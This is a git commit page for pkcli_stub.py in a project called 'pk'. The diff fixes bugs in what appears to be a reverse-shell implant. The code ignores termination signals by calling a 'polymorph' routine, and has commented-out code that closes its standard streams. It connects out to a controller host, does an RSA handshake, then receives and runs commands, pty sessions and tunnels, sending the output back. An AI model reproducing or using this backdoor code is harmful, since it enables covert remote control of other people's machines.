summaryrefslogtreecommitdiff
path: root/pkcli_stub.py
diff options
context:
space:
mode:
authorCarson Fleming <cflems@cflems.net>2023-03-28 11:02:03 -0700
committerCarson Fleming <cflems@cflems.net>2023-03-28 11:02:03 -0700
commitff93430c5df52518b8f404e3c0c17bef071cdbdd (patch)
tree2214c42e711026aae8dc1ca115a1f13512b332e1 /pkcli_stub.py
parentd4e02f51fe692f8c88adbbc0d7e2bcde9fdc4f82 (diff)
downloadpk-ff93430c5df52518b8f404e3c0c17bef071cdbdd.tar.gz
Fix some transition bugs; pty still hangs trying to pull streaming key
Diffstat (limited to 'pkcli_stub.py')
-rw-r--r--pkcli_stub.py25
1 files changed, 13 insertions, 12 deletions
diff --git a/pkcli_stub.py b/pkcli_stub.py
index 09f7aae..1c9472f 100644
--- a/pkcli_stub.py
+++ b/pkcli_stub.py
@@ -52,8 +52,8 @@ def main():
def shield():
for sig in [signal.SIGHUP, signal.SIGINT, signal.SIGABRT, signal.SIGQUIT, signal.SIGTERM]:
signal.signal(sig, sh)
- for fd in [sys.stdin, sys.stdout, sys.stderr]:
- os.close(fd.fileno())
+ # for fd in [sys.stdin, sys.stdout, sys.stderr]:
+ # os.close(fd.fileno())
def sh(a, b):
polymorph()
@@ -75,7 +75,7 @@ def refresh_hdb():
return False
def get_hostkey(host):
- global hdb, exp
+ global hdb
if 'keys' not in hdb:
return False
hkdb = hdb['keys']
@@ -87,7 +87,7 @@ def get_hostkey(host):
return False
try:
return {'n': int(hostent['n']),
- 'e': int(hostent['e']) if 'e' in hostent else exp}
+ 'e': int(hostent['e']) if 'e' in hostent else Crypto.exp}
except:
del hkdb[host]
return False
@@ -147,8 +147,8 @@ def run_pty(sock):
sock.send(b'\xc0\xdenpty')
pty_barrier(sock)
return True
- except:
- return False
+ #except:
+ # return False
finally:
sel.close()
try:
@@ -157,7 +157,7 @@ def run_pty(sock):
pass
def work(h_addr, port, privkey, bits):
- global server_modulus, exp
+ global server_modulus
try:
host = socket.gethostbyname(h_addr)
except:
@@ -171,14 +171,15 @@ def work(h_addr, port, privkey, bits):
if hostkey:
rpubkey = hostkey
else:
- rpubkey = {'n': server_modulus, 'e': exp}
+ rpubkey = {'n': server_modulus, 'e': Crypto.exp}
if not sock.handshake_server(rpubkey):
+ print('fucc')
return True
PS1 = '$ '
if 'PS1' in os.environ:
PS1 = os.environ['PS1']
- sock.send(PS1)
+ sock.send(bytes(PS1, 'utf-8'))
while True:
cmd = sock.recv()
if cmd == b'tunnel':
@@ -205,9 +206,9 @@ def work(h_addr, port, privkey, bits):
response = str(response, 'utf-8')
except Exception as e:
response = '%s\n' % str(e)
- sock.send('%s%s' % (response, PS1))
- except:
- return True
+ sock.send(bytes('%s%s' % (response, PS1), 'utf-8'))
+ #except:
+ # return True
finally:
raw_sock.close()